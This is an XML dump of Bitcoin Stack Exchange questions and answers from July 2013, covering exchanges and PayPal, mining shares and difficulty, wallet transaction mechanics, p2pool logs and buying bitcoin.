  <row Id="12082" PostTypeId="1" AcceptedAnswerId="12086" CreationDate="2013-07-09T17:36:39.940" Score="2" ViewCount="3279" Body="&lt;p&gt;Is there a good and trustworthy bitcoin exchange where I can trade my bitcoins for CAD and then send the money in my PayPal account instead of a bank transfer? Thank you&lt;/p&gt;&#xA;" OwnerUserId="5874" LastActivityDate="2015-08-02T18:32:11.443" Title="Is there a good exchange where I can withdraw to PayPal?" Tags="|exchanges|paypal|withdrawal|" AnswerCount="3" CommentCount="0" ClosedDate="2015-08-03T00:40:01.637" ContentLicense="CC BY-SA 3.0" />
  <row Id="12083" PostTypeId="2" ParentId="12073" CreationDate="2013-07-09T18:14:21.263" Score="-1" Body="&lt;p&gt;If you are not tied to bitcoin you could also look at defining your own familly currency with an &lt;strong&gt;Open-Transactions&lt;/strong&gt; server (advanced difficulty - &lt;a href=&quot;https://github.com/FellowTraveler/Open-Transactions/wiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/FellowTraveler/Open-Transactions/wiki&lt;/a&gt;) or with &lt;strong&gt;Ripple&lt;/strong&gt; (intermediate difficulty - &lt;a href=&quot;https://ripple.com&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="5875" LastActivityDate="2013-07-09T18:14:21.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12084" PostTypeId="1" AcceptedAnswerId="12085" CreationDate="2013-07-09T19:03:12.513" Score="1" ViewCount="100" Body="&lt;p&gt;There seems to be plenty of data on the BTC financial market, exchange rates and the like, as well as on the technical aspects (network hash rate, difficulty etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I'm not the only one interested in what amount of BTC is spent on actual goods and services, but all I can find is the occasional number by some specific trading platform, for some specific timeframe, nothing more systematic.&lt;/p&gt;&#xA;" OwnerUserId="5751" LastActivityDate="2013-07-09T19:44:41.043" Title="Is there data available on physical goods and services traded in BTC?" Tags="|trading|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12085" PostTypeId="2" ParentId="12084" CreationDate="2013-07-09T19:44:41.043" Score="0" Body="&lt;p&gt;There is no way to know this with a 100% accuracy. Because when you look from outside, a trader moving Bitcoins between exchanges is no different from someone paying for a services/goods with Bitcoins. Both are Bitcoin transactions. The same goes for people moving money internationally, sending their parents Bitcoins, a company paying it's employees etc. You really can't separate these from purchases of actual goods and services. Because like I said, they're all transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you want to measure speculative interest in Bitcoin vs. interest in Bitcoin as a currency(i.e for practical things) then you can look at this graph:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/charts/tx-trade-ratio&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/charts/tx-trade-ratio&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the discussion about it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codinginmysleep.com/measuring-bitcoin-speculation/&quot; rel=&quot;nofollow&quot;&gt;http://codinginmysleep.com/measuring-bitcoin-speculation/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both the discussion and the data is quite far from conclusive though.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2013-07-09T19:44:41.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12086" PostTypeId="2" ParentId="12082" CreationDate="2013-07-09T19:50:01.113" Score="2" Body="&lt;p&gt;Short answer: No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer: PayPal does not allow Bitcoin exchange accounts. Bitcoin exchanges pop up like mushrooms these days so a new one might fly under PayPal's radar and get an account going for a while. But it will eventually get shut down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So trustworthy exchanges won't try to use PayPal, as they know their accounts will be seized. And you shouldn't trust those that are using PayPal because they're operating with high risk. Knowing the high risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PayPal's CEO talked about Bitcoin as a funding option on PayPal in an interview during the last couple of months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until that happens the answers above are unlikely to change.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2013-07-09T19:50:01.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12088" PostTypeId="2" ParentId="12081" CreationDate="2013-07-09T21:37:27.333" Score="1" Body="&lt;p&gt;You have to create a worker per machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, the mining pool will be able to track each system's contribution to the work being done.&lt;/p&gt;&#xA;" OwnerUserId="5877" LastActivityDate="2013-07-09T21:37:27.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12089" PostTypeId="2" ParentId="5975" CreationDate="2013-07-09T22:18:25.397" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://arstechnica.com/gadgets/2013/06/how-a-total-n00b-mined-700-in-bitcoins/3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://arstechnica.com/gadgets/2013/06/how-a-total-n00b-mined-700-in-bitcoins/3/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In fact, if it's so profitable, why on earth is Butterfly Labs selling these devices? Why not rent a warehouse, fill it with miners, and make infinity bitcoins?&lt;/p&gt;&#xA;&lt;p&gt;The answer is two-fold. First, BFL required a great deal of capital in order to design and manufacture the ASICs that power its boxes and then to assemble the miners themselves. This capital was provided in no small part by pre-selling the miners; hanging onto them to do some BTC mining with them is sketchy at best and at worst illegal. Plus, there are practical considerations: a giant BTC warehouse adds overhead costs, and I can't even begin to take a guess at the bookkeeping implications of warehousing capital like that.&lt;/p&gt;&#xA;&lt;p&gt;However, the second reason is far more practical: bitcoins, for all their current value, are still speculative. A large amount of US dollars is a large amount of US dollars no matter which way you cut it. It can be readily exchanged for goods and services. Bitcoins themselves don't necessarily hold value, and it's difficult to exchange them in large quantities for an equivalent amount of dollars. So selling Bitcoin miners for dollars guarantees a certain number of dollars; investing capital into mining a truly large number of bitcoins might work well as a short-term hedge, but the value of the trade is utterly impossible to predict.&lt;/p&gt;&#xA;&lt;p&gt;This, I suppose, is part of the nature of high-risk investments. But in this case, Butterfly Labs can simply charge whatever it wants for its gear in order to make whatever margin it deems is sufficient. Why bet on the future of a relatively new virtual currency that may go up or down when you can simply get a bunch of real US dollars?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4799" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-07-09T22:18:25.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12090" PostTypeId="2" ParentId="10323" CreationDate="2013-07-09T23:10:11.513" Score="3" Body="&lt;p&gt;Crypto currencies such as bitcoin will always be a step ahead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Post-quantum_cryptography/&quot; rel=&quot;nofollow&quot;&gt;Post-quantum Cryptography&lt;/a&gt; is already being researched to combat quantum computers before they have even evolved enough to be considered a threat.&lt;/p&gt;&#xA;" OwnerUserId="5863" LastActivityDate="2013-07-09T23:10:11.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12091" PostTypeId="2" ParentId="10732" CreationDate="2013-07-09T23:33:30.320" Score="9" Body="&lt;p&gt;&lt;code&gt;timereceived&lt;/code&gt; is when your client first learned of the transaction. If you sent the transaction, it's the time when you sent the transaction. If you received the transaction, it's when your client first saw the transaction on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;time&lt;/code&gt; can be different from &lt;code&gt;timereceived&lt;/code&gt; if you first learned about the transaction by seeing it in a block. This usually happens when your client was offline for a while and you're getting caught up with the block chain. In this case, &lt;code&gt;time&lt;/code&gt; will use the block's timestamp if it seems reasonable. Specifically:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the block timestamp is in the future, &lt;code&gt;time&lt;/code&gt; will be the same as &lt;code&gt;timereceived&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;If the block timestamp is before the latest transaction in the wallet, &lt;code&gt;time&lt;/code&gt; will be equal to the time of the latest transaction in the wallet.&lt;/li&gt;&#xA;&lt;li&gt;Otherwise, the block timestamp will be used.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Transaction times don't change, even after a reorg, and new transactions will never have a time earlier than an existing transaction. This was not always the case (old versions preferred to use the block timestamp, which is usually more accurate), but the current method makes it easier to deal with transaction timestamps safely.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2013-07-09T23:33:30.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12093" PostTypeId="2" ParentId="2972" CreationDate="2013-07-10T01:43:22.713" Score="0" Body="&lt;p&gt;bitcointrader is becoming a favored Australian exchange for cash over the counter deposits offering competitive rates and good service&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointrader.com.au&quot; rel=&quot;nofollow&quot;&gt;https://bitcointrader.com.au&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5863" LastActivityDate="2013-07-10T01:43:22.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12099" PostTypeId="1" CreationDate="2013-07-10T08:01:12.943" Score="5" ViewCount="2059" Body="&lt;p&gt;Why would a miner mine with a difficulty other than the network difficulty? Both of &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8092/if-each-miner-has-a-different-share-difficulty-in-a-pps-pool-how-should-i-calcu&quot;&gt;these&lt;/a&gt; &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1505/what-is-a-share-can-i-find-it-while-mining-solo-or-only-when-pool-mining&quot;&gt;questions&lt;/a&gt; describe miners mining in such a way. What's the benefit of this? What even does it mean?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2016-03-10T14:54:10.817" Title="Why would a miner mine with a difficulty other than 'the' difficulty?" Tags="|mining-pools|difficulty|mining-pool-shares|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12100" PostTypeId="1" AcceptedAnswerId="12107" CreationDate="2013-07-10T08:11:55.103" Score="0" ViewCount="165" Body="&lt;p&gt;I can see a list of their most recent blocks here: &lt;a href=&quot;http://blockchain.info/blocks/ASICMiner&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/blocks/ASICMiner&lt;/a&gt;, but is it possible to get aggregate numbers over a given time?&lt;/p&gt;&#xA;" OwnerUserId="4923" LastEditorUserId="5406" LastEditDate="2016-04-28T13:55:00.183" LastActivityDate="2016-04-28T13:55:00.183" Title="How can I look up how much ASIC Miner has mined in the last week?" Tags="|blockchain.info|block|mining-profitability|hashpower|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12102" PostTypeId="1" CreationDate="2013-07-10T08:17:18.177" Score="-2" ViewCount="1557" Body="&lt;p&gt;What are the differences between getwork and getblocktemplate? Who identified the need for the new protocol? Who were the primary contributors to its creation?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="5406" LastEditDate="2016-04-01T09:14:15.063" LastActivityDate="2016-04-01T09:14:15.063" Title="Difference between getwork and getblocktemplate?" Tags="|getwork|getblocktemplate|" AnswerCount="1" CommentCount="0" ClosedDate="2016-04-10T17:12:09.523" ContentLicense="CC BY-SA 3.0" />
  <row Id="12103" PostTypeId="1" CreationDate="2013-07-10T09:01:06.757" Score="1" ViewCount="310" Body="&lt;p&gt;I'm a newbie at this and still trying to get my head around Bitcoin. Three linked questions around how the transaction works...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) How does the wallet decide which balances/addresses form part of a new payment transaction (to go as the input)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Do all transactions generate 'change' - i.e. a second output?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Does the fee for a transaction go to a newly generated miner's Bitcoin address, a pre-recorded miner's address, or is there no output in the blockchain associated with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and apologies for technical inaccuracies and silly questions. &lt;/p&gt;&#xA;" OwnerUserId="5886" LastActivityDate="2013-08-17T18:04:29.533" Title="How do wallets select which balances get sent as part of a transaction?" Tags="|transactions|wallet|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12104" PostTypeId="1" AcceptedAnswerId="17373" CreationDate="2013-07-10T10:58:09.050" Score="3" ViewCount="6292" Body="&lt;p&gt;I'm using rpcminer-cuda to have a play around mining some bitcoins.  I have 2 NVidia cards, and I understand this is not ideal for any profitable mining.  I would however like to have them both working at the same time.  Presently the output from rpcminer-cuda when it starts up is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcminer-cuda.exe -url=myurl -user=myuser -password=password&#xA;&#xA;Client will start 1 miner threads&#xA;2 CUDA GPU devices found&#xA;Setting CUDA device to first device found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I make it use both cards at the same time?  Do I need to tell it to start two threads or is there some other commandline switch I need to use?  I've tried adding -gpu=2 but it seems to be ignored.&lt;/p&gt;&#xA;" OwnerUserId="5888" LastEditorUserId="5406" LastEditDate="2016-04-17T20:37:40.610" LastActivityDate="2016-04-17T20:37:40.610" Title="How to use both CUDA GPUs?" Tags="|miner-configuration|gpu-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12107" PostTypeId="2" ParentId="12100" CreationDate="2013-07-10T15:17:29.753" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.asicminercharts.com/live/&quot; rel=&quot;nofollow&quot;&gt;http://www.asicminercharts.com/live/&lt;/a&gt; keeps track of the total amount stored in the mining wallet, as well as hashing power over time (Take the /live off to see historical charts).&lt;/p&gt;&#xA;" OwnerUserId="5892" LastActivityDate="2013-07-10T15:17:29.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12108" PostTypeId="1" AcceptedAnswerId="13192" CreationDate="2013-07-10T15:55:00.447" Score="2" ViewCount="277" Body="&lt;p&gt;is there any study or recent research of making the bitcoins transfer refundable? As if your account is hacked and the bitcoins are transferred there is no way I can return it back.&lt;/p&gt;&#xA;" OwnerUserId="5893" LastActivityDate="2013-09-10T05:20:39.057" Title="Is there any study or research of how to make BTC transfers refundable?" Tags="|client|security|protocol|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12109" PostTypeId="2" ParentId="12108" CreationDate="2013-07-10T18:48:12.657" Score="-1" Body="&lt;p&gt;If you want to get a refund, you can't do it by pressing a button. You'll have to ask the person who got your Bitcoins to send them back.&lt;/p&gt;&#xA;" OwnerUserId="5874" LastActivityDate="2013-07-10T18:48:12.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12110" PostTypeId="1" CreationDate="2013-07-10T20:11:35.353" Score="0" ViewCount="748" Body="&lt;p&gt;This is  my output from p2pool.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2013-07-10 16:06:29.543000 P2Pool: 17383 shares in chain (17388 verified/17388 total) Peers: 11 (5 incoming)&#xA;2013-07-10 16:06:29.544000  Local: 0H/s in last 0.0 seconds Local dead on arrival: ??? Expected time to share: ???&#xA;2013-07-10 16:06:29.544000  Shares: 0 (0 orphan, 0 dead) Stale rate: ??? Efficiency: ??? Current payout: 0.0000 BTC&#xA;2013-07-10 16:06:29.544000  Pool: 1074GH/s Stale rate: 17.1% Expected time to block: 23.7 hours&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt; - Why are there '???'s replacing all the values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 1&lt;/strong&gt; - What does the 'Peers: 11 (5 incoming)' mean&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 2&lt;/strong&gt; - What does the following line mean? It shows up a lot with different strings of numbers and letters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2013-07-10 16:10:01.362000 Peer sent entire transaction 59900f72264267f0fbff2041ea50d9b72ba44448aa2244429e855f5372ba2bca that was already received&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Thank you for your time.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5760" LastEditorUserId="5760" LastEditDate="2013-07-10T21:47:25.070" LastActivityDate="2014-04-17T05:35:26.890" Title="What does &quot;peer sent transaction already received&quot; mean?" Tags="|mining-pools|p2pool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12111" PostTypeId="1" CreationDate="2013-07-10T20:22:50.200" Score="19" ViewCount="5142" Body="&lt;p&gt;Consider the following transaction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/aa5eb27652bd85dc444ea2508bf0ff6ff1b484141e2d7e69f31976fafb21e06e&quot;&gt;https://blockchain.info/tx/aa5eb27652bd85dc444ea2508bf0ff6ff1b484141e2d7e69f31976fafb21e06e&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each of the output addresses has never before been used, and there is only one input address. Why does blockchain.info guess that 0.7695 BTC has been transacted with 3.7216 BTC as change rather than the reverse (see &quot;Estimated BTC Transacted&quot;)? Does it just pick the second address as the change address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other cases, I am able to guess similarly to blockchain.info, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) If multiple input addresses are used, the change address should not be greater than the lowest input address (unless, of course, this is being purposely obfuscated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) If both of the output addresses have been used before, they may run a degrees-of-separation query to try to connect one of the output addresses more closely to the input addresses, more closely identifying it with the input addresses and therefore as the change address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(3) If only one of the output addresses has been used before, it is more likely to be the change address according to the heuristic in (2) because by definition the used address is more closely &quot;connected&quot; than an address that has never been used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what heuristic could be used if each of the output address is new? The spending pattern of the input address? Randomness? Thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see how this question affects views of the total/daily volume on Bitcoin in aggregate by comparing/contrasting both of the &quot;Estimated Transaction Volume&quot; charts available on &lt;a href=&quot;http://www.blockchain.info/charts&quot;&gt;http://www.blockchain.info/charts&lt;/a&gt;. They claim the second chart adjusts for change, but provide no details about the algorithm.&lt;/p&gt;&#xA;" OwnerUserId="5894" LastEditorUserId="5894" LastEditDate="2014-02-07T06:35:14.740" LastActivityDate="2014-02-07T06:35:14.740" Title="How does blockchain.info calculate the &quot;Estimated Transaction Value?&quot;" Tags="|blockchain.info|change|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12117" PostTypeId="2" ParentId="7294" CreationDate="2013-07-11T07:12:11.547" Score="0" Body="&lt;p&gt;In the United States, by far the easiest way to get up and running is with Coinbase.  It's very easy to get up and running - anyone who has a bank account can buy bitcoins with Coinbase by providing them with a bank account number and routing number.  Aside from being a Coinbase customer, I'm not affiliated with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this is how I bought my own bitcoin stash in the past, here's what you need to do to buy bitcoins on Coinbase:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Register an account on Coinbase.com.&lt;br&gt;&#xA;2) Provide your bank account number and routing number and wait a few days for them to send you a small amount of money to your account so they can verify that you actually control it.&lt;br&gt;&#xA;3) Confirm the transactions they sent.&#xA;4) Decide how many bitcoins you want to buy, and initiate the transaction from Coinbase.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's it.  The bitcoins will arrive in the account about five business days later, if my transaction with Coinbase is typical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to address what you said about Bitcoin being anonymous, however.  Bitcoin is not anonymous, it is far less anonymous than cash in that all transactions are stored forever in the blockchain.  In that sense, it is far less anonymous than cash since with bitcoin, if someone knows your bitcoin address, they can track what you spent your bitcoins on, what the recipient spent your bitcoins on, and so on.  Unless you use a mixer, bitcoins are definitely not anonymous.&lt;/p&gt;&#xA;" OwnerUserId="3847" LastEditorUserId="3847" LastEditDate="2013-07-11T07:32:23.903" LastActivityDate="2013-07-11T07:32:23.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12118" PostTypeId="2" ParentId="12099" CreationDate="2013-07-11T07:13:15.013" Score="8" Body="&lt;p&gt;To understand this we should first explain that a block with a high difficulty, let's say &lt;code&gt;D&lt;/code&gt;, is also a share of low difficulty &lt;code&gt;d &amp;lt; D&lt;/code&gt;, therefore if we find such a block for difficulty &lt;code&gt;D&lt;/code&gt; we automatically have a block of difficulty &lt;code&gt;d&lt;/code&gt;. This also means that if I as a miner am looking for a share with difficulty &lt;code&gt;d&lt;/code&gt; I might by chance find a block of difficulty &lt;code&gt;D&lt;/code&gt; (with the probability &lt;code&gt;d/D&lt;/code&gt;). This is exactly the reason why mining pools exist: they assign the miners the task to find blocks of difficulty &lt;code&gt;d&lt;/code&gt; in the hope that they will eventually find one for &lt;code&gt;D&lt;/code&gt;, i.e., the real network difficulty, which pays for the whole pool operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Commonly these blocks at a lower difficulty are called a &lt;strong&gt;share&lt;/strong&gt;, and are used to gauge the hashing rate of the individual miner, giving the pool a way to determine who has what probability of finding the next block and distributing the reward accordingly.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2013-07-11T09:07:03.013" LastActivityDate="2013-07-11T09:07:03.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12120" PostTypeId="2" ParentId="12099" CreationDate="2013-07-11T07:51:24.797" Score="5" Body="&lt;p&gt;Blocks which only satisfy the requirement for a lower difficulty than the real network difficulty are called &quot;shares&quot;. They are found naturally in the process of looking for valid blocks, and there is no way to find shares without doing the work needed to find blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, shares prove that work has been done by the miner. Pools use these shares to determine how much to reward each miner.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-07-11T07:51:24.797" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12121" PostTypeId="1" CreationDate="2013-07-11T07:51:59.813" Score="3" ViewCount="1072" Body="&lt;p&gt;How should one build the client for the new cryptocoin &lt;a href=&quot;http://bitcoinmagazine.com/primecoin-the-cryptocurrency-whose-mining-is-actually-useful/&quot; rel=&quot;nofollow&quot;&gt;Primecoin&lt;/a&gt; from source code on a mac? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source can be found here: &lt;a href=&quot;https://sourceforge.net/projects/primecoin/files/&quot; rel=&quot;nofollow&quot;&gt;https://sourceforge.net/projects/primecoin/files/&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="105" LastEditDate="2013-07-21T12:05:01.150" LastActivityDate="2014-07-19T00:04:06.763" Title="How to build Primecoin from source code on a mac?" Tags="|installation|compiling|primecoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12122" PostTypeId="2" ParentId="7294" CreationDate="2013-07-11T07:58:49.353" Score="1" Body="&lt;p&gt;LocalBitcoins.com offers secure and easy ways buying bitcoins locally in-person. There traders are very friendly towards novice bitcoin users and LocalBitcoins.com has messaging system where the buyer can ask about the bitcoin and get help how to set it up and.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to &lt;a href=&quot;http://localbitcoins.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;LocalBitcoins.com&lt;/a&gt; and enter where you are into the location search box&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You'll see a list of nearby traders who are selling bitcoins to you&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;LocalBitcoins.com is in-person and you are discussing with a local trader, so language should not be a problem&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Buy bitcoins with cash or online banking. Note that &lt;em&gt;buying&lt;/em&gt; bitcoins is always safe, since LocalBitcoins.com has public reputation history of traders and holds bitcoins in escrow process until the trade has been succesfully complete&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After bitcoins have been bought they appear in LocalBitcons.com website wallet&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From there the person can directly transfer bitcoins to you&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GPgze.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2013-07-11T07:58:49.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12123" PostTypeId="1" CreationDate="2013-07-11T09:11:36.263" Score="0" ViewCount="914" Body="&lt;p&gt;What's the expected performance improvement with the advanced ASICs? When advanced semiconductor manufacturing processes provide high hash rates by consuming low power, and older processes makes mass production cheaper, I'd like to know when approximately, newer ASICs will be able to make older ASICs obsolete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following is the semiconductor manufacturing process timeline, from wiki.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;45 nm — 2008 32 nm — 2010 22 nm — 2012 14 nm — est. 2015 10 nm — est.&#xA;  2017&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.m.wikipedia.org/wiki/14_nanometer&quot; rel=&quot;nofollow&quot;&gt;http://en.m.wikipedia.org/wiki/14_nanometer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="5406" LastEditDate="2016-04-01T09:27:49.660" LastActivityDate="2016-04-01T09:27:49.660" Title="How would advancement in ASIC manufacturing process affect mining?" Tags="|asic|mining-hardware|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12124" PostTypeId="1" CreationDate="2013-07-11T10:14:46.813" Score="3" ViewCount="2286" Body="&lt;p&gt;How can I create a base58 private key and public key in Java? I'm pretty familiar with Java and I have the bitcoinj-minimal code, but it's not clear to me how I can generate a base58 key pair from the code.&lt;/p&gt;&#xA;" OwnerUserId="5905" LastEditorUserId="5406" LastEditDate="2013-11-21T11:00:21.300" LastActivityDate="2013-11-21T11:00:21.300" Title="Creating Base58 public key &amp; private key in Java?" Tags="|private-key|public-key|bitcoinj|java|base58|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12125" PostTypeId="1" CreationDate="2013-07-11T10:45:32.550" Score="3" ViewCount="158" Body="&lt;p&gt;When mainstream media or some high-profile blogs etc. report about Bitcoin, does it have a direct effect on the exchange rate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any examples in the past?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let’s say an author is about to publish an article about Bitcoin in &lt;em&gt;The New York Times&lt;/em&gt;. Would it be smart for the author to buy massive amounts of Bitcoin immediately before publishing the article, in the hope that the exchange rate rises?&lt;/p&gt;&#xA;" OwnerUserId="4975" LastEditorUserId="5406" LastEditDate="2021-02-01T19:46:03.713" LastActivityDate="2021-02-01T19:46:03.713" Title="Effect of media coverage on the exchange rate?" Tags="|exchange-rate|history|news-coverage|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12126" PostTypeId="2" ParentId="12125" CreationDate="2013-07-11T11:53:44.033" Score="1" Body="&lt;p&gt;There is no way to attribute Bitcoin price changes to news coverage with precision. Because you can never know the exact reason people are buying or selling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The situation in Cyprus coincided with Bitcoin price skyrocketing to $245. There were lost of news covering both subjects at the same time but we don't know for sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is logical though, to think that Bitcoin related news does have an impact on Bitcoin price. Especially high profile news and articles on high profile media. But, the content and the tone of the news/article will make a huge difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NYT article might push the prices up if it has a positive or even informative tone. It might also cause a drop in prices if it has a negative tone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The larger the economy the harder it will be to manipulate the price.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2013-07-11T11:53:44.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12128" PostTypeId="1" CreationDate="2013-07-11T14:52:21.280" Score="-3" ViewCount="119" Body="&lt;p&gt;Sorry for that question, but please I would like to understand why should I have IP addresses as I can only communicate using the public address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry again but really I am confused&lt;/p&gt;&#xA;" OwnerUserId="5893" LastActivityDate="2013-07-12T20:03:42.560" Title="Why do I need IP addresses in bitcoins, isn't I working with public address?" Tags="|client|protocol|address|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
